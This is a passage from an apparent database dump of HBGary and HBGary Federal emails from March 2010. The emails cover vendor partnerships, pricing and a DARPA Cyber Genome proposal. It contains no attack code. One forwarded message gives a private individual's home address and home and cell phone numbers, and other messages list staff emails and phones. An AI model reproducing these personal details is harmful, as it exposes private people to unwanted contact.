the client.  What if the client is a laptop that only communicates when its outside the corporate network.  What happens if the malware is getting its CnC through malvertisements from adwords?  I still strongly believe we need a perimeter partner, which one is the best would require some steady analysis.\r\nAaronOn Mar 22, 2010, at 8:23 PM, Penny Leavy-Hoglund wrote:\r\n Both have taken money to the tune of\r\n At round C which they both are, Damballa is $16.7M  in Venture and Fireeye is $34.5 Million WOW.  That is a huge amount, which means that there is no equity ownership in the companies for their employees.  We can keep growing if we sell and close accounts.  I actually think there is a partner play for Damballa and it’s on client side.  I met several people at RSA from here.  Thoughts?\r\nPenny C. LeavyPresident\r\nHBGary, Inc  \r\nNOTICE – Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on the taxpayer.  (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)\r\n \r\nThis message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for   delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly\r\n \r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',11584,'aaron_hbgary_com/11584.html'),(4355,'2010-03-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002409.M62803P3547Q4354.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,,,,','RE: damballa and fireeye','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI like the idea of partnering with Fidelis far more than\r\nDamballa or FireEye.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 22, 2010 9:15 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: \'Rich Cummings\'; \'Greg Hoglund\'; smb@hbgary.com; \'Bob Slapnik\';\r\n\'Maria Lucas\'; \'Matt O\'Flynn\'; \'Phil Wallisch\'; \'Ted Vera\'\r\nSubject: Re: damballa and fireeye\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMy 2 cents. &nbsp;Our offering gets that much stronger if we\r\nmake a smart partnership with a perimeter defense company. &nbsp;What about\r\nFidelis? &nbsp;All three seem to have some of the same language. &nbsp;All\r\nthree have weaknesses and that is the client. &nbsp;What if the client is a\r\nlaptop that only communicates when its outside the corporate network.\r\n&nbsp;What happens if the malware is getting its CnC through malvertisements\r\nfrom adwords? &nbsp;I still strongly believe we need a perimeter partner, which\r\none is the best would require some steady analysis.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 22, 2010, at 8:23 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBoth\r\nhave taken money to the tune of\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAt\r\nround C which they both are, Damballa is $16.7M &nbsp;in Venture and Fireeye is\r\n$34.5 Million WOW.&nbsp; That is a huge amount, which means that there is no\r\nequity ownership in the companies for their employees.&nbsp; We can keep\r\ngrowing if we sell and close accounts.&nbsp; I actually think there is a\r\npartner play for Damballa and it&#8217;s on client side.&nbsp; I met several people\r\nat RSA from here.&nbsp; Thoughts?\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\nC. Leavy\r\n\r\n\r\n\r\n\r\n\r\nPresident\r\n\r\n\r\n\r\n\r\n\r\nHBGary,\r\nInc\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNOTICE &#8211;&nbsp;Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis message and any attached files may contain information that is\r\nconfidential and/or subject of legal privilege intended only for use by the\r\nintended recipient. If you are not the intended recipient or the person\r\nresponsible for&nbsp;&nbsp; delivering the message to the intended recipient,\r\nbe advised that you have received this message in error and that any\r\ndissemination, copying or use of this message or attachment is strictly\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/22/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11365,'aaron_hbgary_com/11365.html'),(4356,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002410.M678442P3547Q4356.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,,,,,,,','Re: damballa and fireeye','I believe this is the right approach. &nbsp;To the conversation about Mandiant, I believe they are a short play. &nbsp;The problem set and the environments we are trying to work in are complex. &nbsp;Any small company with discriminating capability needs to develop strong partnerships with integrated capabilities, those partnerships don\'t necessarily always have to be for technology reasons either. &nbsp;Arcsite is a great example, most organizations don\'t use them for anything more than a consolidated event viewer, but they have more market penetration at the SOCs than anyone else (theres also a lot of capability under the hood but no one uses it). &nbsp;Network/System management. &nbsp;One of the reasons I think Fidelis is a better play for perimeter is they seem to be more focused on enterprise security management rather than on what is flashy today, which is the feel I get from Fireeye and Damballa.Also agree on the IR side. &nbsp;The perspective from the field, the feedback on what are their enterprise challenges. &nbsp;Very critical.In the end I think too much time spent thinking about Mandiant is time spent focused on too small of a fish (doesn\'t mean I don\'t want to push them out).What is the story for how HBGary fits into the enterprise. &nbsp;Given the technology HBGary has, and the talent, I think if we develop that story and then build to it we win. &nbsp;I think the story is Net Defense, Mission Assurance, Risk Management. &nbsp;Threat Intelligence is a great first step, but its only a step that gets you to the other three. &nbsp;Until we can tell these stories we will be stuck in the malware analysis, incident response (investigatory) buckets, maybe the best at it but still stuck there.On Mar 22, 2010, at 10:31 PM, Phil Wallisch wrote:Good thoughts Aaron.&nbsp; We have to be flexible and fit into an organization\'s overall security strategy.&nbsp; Things like Arcsite integration, email attachment processing, filesystem queries (MFT processing) etc should def. be on our radar and will allow us to fit into a CSO\'s corporate strategy.&nbsp; \r\nSomething else is very apparent to me now.&nbsp; We have to be in the field getting dirty, building our indicators of compromise database, making a name for ourselves, getting real customer feedback on our tools.&nbsp; Partnering with an IR shop will be key for us to get started.&nbsp; We give them our tools and they feed us IOC data.&nbsp; \r\nOn Mon, Mar 22, 2010 at 8:15 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nMy 2 cents. &nbsp;Our offering gets that much stronger if we make a smart partnership with a perimeter defense company. &nbsp;What about Fidelis? &nbsp;All three seem to have some of the same language. &nbsp;All three have weaknesses and that is the client. &nbsp;What if the client is a laptop that only communicates when its outside the corporate network. &nbsp;What happens if the malware is getting its CnC through malvertisements from adwords? &nbsp;I still strongly believe we need a perimeter partner, which one is the best would require some steady analysis.\r\nAaronOn Mar 22, 2010, at 8:23 PM, Penny Leavy-Hoglund wrote:\r\n&nbsp;Both have taken money to the tune of\r\n&nbsp;At round C which they both are, Damballa is $16.7M &nbsp;in Venture and Fireeye is $34.5 Million WOW.&nbsp; That is a huge amount, which means that there is no equity ownership in the companies for their employees.&nbsp; We can keep growing if we sell and close accounts.&nbsp; I actually think there is a partner play for Damballa and it’s on client side.&nbsp; I met several people at RSA from here.&nbsp; Thoughts?\r\nPenny C. LeavyPresident\r\nHBGary, Inc&nbsp;&nbsp;\r\nNOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)\r\n&nbsp;\r\nThis message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly\r\n&nbsp;\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11358,'aaron_hbgary_com/11358.html'),(4357,'2010-03-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002415.M803472P3547Q4357.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Doc with Bob\'s additions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nSee attached.&nbsp; I&#8217;ve finished Section II.B.\r\nDeliverables. \r\n\r\n&nbsp;\r\n\r\nThe BAA instructions say to include deliverables, transition\r\n&amp; commercialization, and proprietary &amp; IP claims, so that is what I\r\ndid.&nbsp; I find it confusing that there is also IP language in the official\r\ntransmittal letter.&nbsp; In looking through the BAA I saw no explicit\r\ndirections of what to include in the letter.&nbsp; I did NOT modify the\r\nlanguage in the letter.&nbsp; Note: the IP language that I just wrote and the\r\nletter are different.\r\n\r\n&nbsp;\r\n\r\nBTW, in the patent section I inserted two short paragraphs about\r\nthe patents.&nbsp; I leave it to you to decide if we keep that those\r\ndescriptions of not.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16466,'aaron_hbgary_com/16466.html'),(4358,'2010-03-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002416.M248966P3547Q4359.eml','\"Aaron Barr\" <aaron@hbgary.com>','Competitive work in the malware analysis space??','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nA guy I respect a lot said BitBlaze has some similarities to\r\nHBGary&#8217;s products.&nbsp; Maybe you should know about it either as competition\r\nfor the DARPA work or for citing it as known work.\r\n\r\nhttp://bitblaze.cs.berkeley.edu/\r\n\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4419,'aaron_hbgary_com/4419.html'),(4359,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002416.M423930P3547Q4360.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Competitive work in the malware analysis space??','UCBerkley is on the GD team for tech area 1. &nbsp;We chose not to bring them on the team for TA3, but we will be leveraging their capability through SRI who has a strong relationship with them. &nbsp;I can see the comparison at at rudimentary level, but not for an enterprise.Here is a link to one of their reports.https://aerie.cs.berkeley.edu/results2-d.php?request=1200902241807549132They just analyze binaries and give u a bunch of textual based results.AaronOn Mar 22, 2010, at 11:30 PM, Bob Slapnik wrote:Aaron and Ted,&nbsp;A guy I respect a lot said BitBlaze has some similarities to HBGary’s products.&nbsp; Maybe you should know about it either as competition for the DARPA work or for citing it as known work.http://bitblaze.cs.berkeley.edu/&nbsp;Bob&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6066,'aaron_hbgary_com/6066.html'),(4360,'2010-03-23','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297002416.M670476P3547Q4361.eml','\"Barr Aaron\" <aaron@hbgary.com>','BOEs','\r\nTook a stab at BOEs for TA1. Needed to get them done so I can run  \r\nfinal (unsanitized) pricing. Today Chris said they wanted to hold off  \r\non pricing till tomorrow. I\'m hoping ours will not change. I\'ll be  \r\nable to send you the unsanitized TA 1 cost volume tomorrow am.\r\n\r\nI\'ll send you a sample BOE in a sec so you can see what they look like.\r\n\r\nTed\r\n\r\n',1223,'aaron_hbgary_com/1223.html'),(4361,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002416.M69820P3547Q4358.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Doc with Bob\'s additions','thanks bob.On Mar 22, 2010, at 11:20 PM, Bob Slapnik wrote:Aaron and Ted,&nbsp;See attached.&nbsp; I’ve finished Section II.B. Deliverables.&nbsp;The BAA instructions say to include deliverables, transition &amp; commercialization, and proprietary &amp; IP claims, so that is what I did.&nbsp; I find it confusing that there is also IP language in the official transmittal letter.&nbsp; In looking through the BAA I saw no explicit directions of what to include in the letter.&nbsp; I did NOT modify the language in the letter.&nbsp; Note: the IP language that I just wrote and the letter are different.&nbsp;BTW, in the patent section I inserted two short paragraphs about the patents.&nbsp; I leave it to you to decide if we keep that those descriptions of not.&nbsp;Bob&nbsp;&lt;Cyber Genome TA3 Volume I Bob changes.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3986,'aaron_hbgary_com/3986.html'),(4362,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002416.M871567P3547Q4362.eml','\"Ted Vera\" <tedvera@me.com>','Re: BOEs','K.\r\n\r\nDid u ever get any resolution from John on the G&A for HBGary?\r\n\r\nAny new information on the task B stuff?\r\n\r\nOn Mar 22, 2010, at 11:51 PM, Ted Vera wrote:\r\n\r\n> \r\n> Took a stab at BOEs for TA1. Needed to get them done so I can run final (unsanitized) pricing. Today Chris said they wanted to hold off on pricing till tomorrow. I\'m hoping ours will not change. I\'ll be able to send you the unsanitized TA 1 cost volume tomorrow am.\r\n> \r\n> I\'ll send you a sample BOE in a sec so you can see what they look like.\r\n> \r\n> Ted\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5113,'aaron_hbgary_com/5113.html'),(4363,'2010-03-23','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297002417.M227607P3547Q4364.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: BOEs','Nothing new on either.  I\'ll call John tomorrow.  I\'ll email Bill Thompson later this week.  He was out last Tue-Fri.\r\n\r\nTed\r\n\r\n\r\nOn Mar 22, 2010, at 9:55 PM, Aaron Barr wrote:\r\n\r\n> K.\r\n> \r\n> Did u ever get any resolution from John on the G&A for HBGary?\r\n> \r\n> Any new information on the task B stuff?\r\n> \r\n> On Mar 22, 2010, at 11:51 PM, Ted Vera wrote:\r\n> \r\n>> \r\n>> Took a stab at BOEs for TA1. Needed to get them done so I can run final (unsanitized) pricing. Today Chris said they wanted to hold off on pricing till tomorrow. I\'m hoping ours will not change. I\'ll be able to send you the unsanitized TA 1 cost volume tomorrow am.\r\n>> \r\n>> I\'ll send you a sample BOE in a sec so you can see what they look like.\r\n>> \r\n>> Ted\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n',7316,'aaron_hbgary_com/7316.html'),(4364,'2010-03-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002417.M50791P3547Q4363.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Sample BOE','Attached -- from propricer.  Can export as pdf, rtf, excel, etc...\r\nCustomer requires pdf and excel.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',2907,'aaron_hbgary_com/2907.html'),(4365,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002423.M827373P3547Q4365.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Ebbe Reker\" <Ebbe@avi.com>,\"Phil Porras\" <porras@csl.sri.com>,vinod@csl.sri.com','TA3 Proposal','All,\r\n\r\nPlease review the TA3 proposal for content.  Pay close attention to the following tables first and add content as needed:\r\n1. Innovative Claims\r\n2. Deliverables\r\n3. Intellectual Property\r\n4. Organizational Chart\r\n5. Previous Accomplishments\r\n6. Description of Facilities\r\n\r\nThen review the document overall for content.  The majority of the document is ready for pink team review with the exception of III.C, III.D, III.E.  I am working on those now.\r\n\r\nAll Cost, Schedule and Milestones data (includes SOW and BOEs) Ted is working on right now.\r\n\r\nI need your sealed envelops Thursday.\r\n\r\n',4306,'aaron_hbgary_com/4306.html'),(4366,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002424.M472944P3547Q4366.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Sample BOE','Those look good.\r\n\r\nOn Mar 23, 2010, at 12:08 AM, Ted Vera wrote:\r\n\r\n> Attached -- from propricer.  Can export as pdf, rtf, excel, etc...\r\n> Customer requires pdf and excel.\r\n> \r\n> -- \r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1878,'aaron_hbgary_com/1878.html'),(4367,'2010-03-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002425.M281023P3547Q4368.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Doc with Bob\'s additions','I just re-used the cover-letter from TA1 when I put together the\r\ntemplate (I know that it needs to be tailored for TA3).\r\n\r\nGD had us put the IP info in the cover letter.  I\'ll go back to the BAA\r\nto see what is required.  We asked the subs for the same (on TA3).\r\nPerhaps GD did it that way just for admin purposes.\r\n\r\nTed\r\n\r\n\r\nOn 3/22/10 9:20 PM, Bob Slapnik wrote:\r\n> Aaron and Ted,\r\n> \r\n>  \r\n> \r\n> See attached.  I\'ve finished Section II.B. Deliverables. \r\n> \r\n>  \r\n> \r\n> The BAA instructions say to include deliverables, transition &\r\n> commercialization, and proprietary & IP claims, so that is what I did.  I\r\n> find it confusing that there is also IP language in the official transmittal\r\n> letter.  In looking through the BAA I saw no explicit directions of what to\r\n> include in the letter.  I did NOT modify the language in the letter.  Note:\r\n> the IP language that I just wrote and the letter are different.\r\n> \r\n>  \r\n> \r\n> BTW, in the patent section I inserted two short paragraphs about the\r\n> patents.  I leave it to you to decide if we keep that those descriptions of\r\n> not.\r\n> \r\n>  \r\n> \r\n> Bob \r\n> \r\n>  \r\n> \r\n> \r\n\r\n',8900,'aaron_hbgary_com/8900.html'),(4368,'2010-03-23','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297002425.M478499P3547Q4369.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: TA3 Proposal','Thanks. We\'ll take a look.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 23, 2010 12:10 AM\r\nTo: Greg Hoglund; Bob Slapnik; Ted Vera; Christopher H. Starr; Jason R.\r\nUpchurch; Irby Thompson; Adam Fraser; Anita D\'Amico; Ebbe Reker; Phil\r\nPorras; vinod@csl.sri.com\r\nSubject: TA3 Proposal\r\n\r\nAll,\r\n\r\nPlease review the TA3 proposal for content.  Pay close attention to the\r\nfollowing tables first and add content as needed:\r\n1. Innovative Claims\r\n2. Deliverables\r\n3. Intellectual Property\r\n4. Organizational Chart\r\n5. Previous Accomplishments\r\n6. Description of Facilities\r\n\r\nThen review the document overall for content.  The majority of the\r\ndocument is ready for pink team review with the exception of III.C,\r\nIII.D, III.E.  I am working on those now.\r\n\r\nAll Cost, Schedule and Milestones data (includes SOW and BOEs) Ted is\r\nworking on right now.\r\n\r\nI need your sealed envelops Thursday.\r\n\r\n',2746,'aaron_hbgary_com/2746.html'),(4369,'2010-03-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002425.M67219P3547Q4367.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: TA3 Proposal','It\'s definitely taking shape.  Once I get through the BOE / pricing\r\ndrill for TA3, I\'ll be better equipped to stage up the TA1 stuff.  It\r\nwill be more complicated because I need to link in the subs by WBS.  In\r\nBOEs for their efforts, I\'ll need to cite the SOW (that we gave them in\r\ntheir RFP) and their quote.\r\n\r\n\r\n\r\nOn 3/22/10 10:10 PM, Aaron Barr wrote:\r\n> All,\r\n> \r\n> Please review the TA3 proposal for content.  Pay close attention to the following tables first and add content as needed:\r\n> 1. Innovative Claims\r\n> 2. Deliverables\r\n> 3. Intellectual Property\r\n> 4. Organizational Chart\r\n> 5. Previous Accomplishments\r\n> 6. Description of Facilities\r\n> \r\n> Then review the document overall for content.  The majority of the document is ready for pink team review with the exception of III.C, III.D, III.E.  I am working on those now.\r\n> \r\n> All Cost, Schedule and Milestones data (includes SOW and BOEs) Ted is working on right now.\r\n> \r\n> I need your sealed envelops Thursday.\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n',12758,'aaron_hbgary_com/12758.html'),(4370,'2010-03-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002425.M711054P3547Q4370.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: contact info for Tim','FYI\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Tim Trowbridge \r\nDate: Mon, Mar 22, 2010 at 6:54 PM\r\nSubject: contact info for Tim\r\nTo: ted@hbgary.com\r\n\r\n\r\nTed –\r\n\r\n   Thanks for the update.  Starting week #4 of retirement but still\r\nfeels a bit like vacation.  Just unwinding and doing small stuff\r\naround the house.\r\n\r\n   Yes, I’m available to do consulting.  Just drop an email or call\r\nwhen/if  – contact info below – and we can discuss.\r\n\r\nTim\r\n\r\nTim Trowbridge\r\n\r\n11650 Brinkerhoff Road\r\n\r\nElbert, CO 80106\r\n\r\nTim.Trowbridge@mindspring.com\r\n\r\nTel: 719-495-3145 (home)\r\n\r\nTel: 719-332-8732 (cell)\r\n',4610,'aaron_hbgary_com/4610.html'),(4371,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002425.M978349P3547Q4371.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','4pm','Hi Chris,\r\n\r\nI would like to spend some time with the team today talking about the Tech Volume for TA3.  Is it ok to use our standard 4pm for this or should I schedule a separate meeting?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10420,'aaron_hbgary_com/10420.html'),(4372,'2010-03-23','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297002426.M231013P3547Q4372.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','To Do Items:','Cost, schedule and milestone areas in Technical Volume Section II and III.\r\nCost Volume\r\nBOEs\r\nSOW\r\n\r\nRework:\r\nDescription of the Results\r\nDetailed Description of Approach\r\nDetailed Technical Approach\r\nComparisons with Other Research\r\nAdd Management Functions that are not currently in the proposal.  Plan is to work those into the Technical Approach.  Conferences, staff meetings, build cycles, data schema, testing.\r\n\r\nI will complete the reworked section today.\r\n\r\nBob, can you complete the Description of Results?\r\n',12209,'aaron_hbgary_com/12209.html'),(4373,'2010-03-23','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297002426.M456288P3547Q4373.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,,,,','Re: damballa and fireeye','I think Fidelis is good and I think Damballa is good.  I don\'t see why\r\nwe can\'t do both.  I think Damballa has more brand recognition than\r\nFidelis\r\n\r\nOn Mon, Mar 22, 2010 at 6:15 PM, Aaron Barr  wrote:\r\n> My 2 cents.  Our offering gets that much stronger if we make a smart\r\n> partnership with a perimeter defense company.  What about Fidelis?  All\r\n> three seem to have some of the same language.  All three have weaknesses and\r\n> that is the client.  What if the client is a laptop that only communicates\r\n> when its outside the corporate network.  What happens if the malware is\r\n> getting its CnC through malvertisements from adwords?  I still strongly\r\n> believe we need a perimeter partner, which one is the best would require\r\n> some steady analysis.\r\n> Aaron\r\n> On Mar 22, 2010, at 8:23 PM, Penny Leavy-Hoglund wrote:\r\n>\r\n>\r\n> Both have taken money to the tune of\r\n>\r\n> At round C which they both are, Damballa is $16.7M  in Venture and Fireeye\r\n> is $34.5 Million WOW.  That is a huge amount, which means that there is no\r\n> equity ownership in the companies for their employees.  We can keep growing\r\n> if we sell and close accounts.  I actually think there is a partner play for\r\n> Damballa and it’s on client side.  I met several people at RSA from here.\r\n> Thoughts?\r\n> Penny C. Leavy\r\n> President\r\n> HBGary, Inc\r\n>\r\n>\r\n> NOTICE – Any tax information or written tax advice contained herein\r\n> (including attachments) is not intended to be and cannot be used by any\r\n> taxpayer for the purpose of avoiding tax penalties that may be imposed\r\n> on the taxpayer.  (The foregoing legend has been affixed pursuant to U.S.\r\n> Treasury regulations governing tax practice.)\r\n>\r\n> This message and any attached files may contain information that is\r\n> confidential and/or subject of legal privilege intended only for use by the\r\n> intended recipient. If you are not the intended recipient or the person\r\n> responsible for   delivering the message to the intended recipient, be\r\n> advised that you have received this message in error and that any\r\n> dissemination, copying or use of this message or attachment is strictly\r\n>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',16078,'aaron_hbgary_com/16078.html'),(4374,'2010-03-23','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297002426.M688481P3547Q4374.eml','\"Aaron Barr\" <aaron@hbgary.com>','JTF-GNO','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWe keep hearing about cyber ops at JTF-GNO with respect to\r\nour ongoing cyber deployments.&nbsp; Im wondering if you still have any\r\nconnections there and might set up a short briefing for us.&nbsp; Federal\r\nleadership is obviously preferred, but any foot in the door would be\r\nappreciated.&nbsp; We would outline our progress to date with our major cyber\r\ncustomers and give them a quick capabilities brief.&nbsp; We&#8217;d obviously mention\r\nour HBGary connections as well.&nbsp; \r\n\r\n&nbsp;\r\n\r\nLet me know what you think.\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15647,'aaron_hbgary_com/15647.html'),(4375,'2010-03-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002426.M947344P3547Q4375.eml','\"John Cox\" <johncoxcpa@verizon.net>,\"John Cox\" <johncoxcpa@verizon.net>','HBGary Federal Costs','Hi John,\r\n\r\nDo you have some time today or tomorrow to refine our costs and set our\r\noverhead & G&A rates?\r\n\r\nI am open today at 11am (1pm your time).  Or anytime tomorrow before 4pm\r\nyour time.\r\n\r\nThanks,\r\nTed\r\n',5419,'aaron_hbgary_com/5419.html'),(4376,'2010-03-23','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002427.M249213P3547Q4376.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: TA1','\r\n\r\n-----Original Message-----\r\nFrom: Starr, Christopher H. \r\nSent: Tuesday, March 23, 2010 12:19 PM\r\nTo: \'Aaron Barr\'\r\nSubject: RE: TA1\r\n\r\nAaron,\r\n\r\nWe are putting in the missing pieces of TA1 and will get this out in the\r\nnext hour and a half.  I will send you a copy.\r\n\r\nWe will then look at TA3.\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:arasita@mac.com] \r\nSent: Tuesday, March 23, 2010 11:42 AM\r\nTo: Starr, Christopher H.\r\nSubject: TA1\r\n\r\nHi Chris,\r\n\r\nNot sure if you have had a chance to review TA3 yet.  I am hoping I can\r\nget a copy of TA1 proposal today to start reviewing and pulling some\r\nrelevant information, such as faciltiies, data, 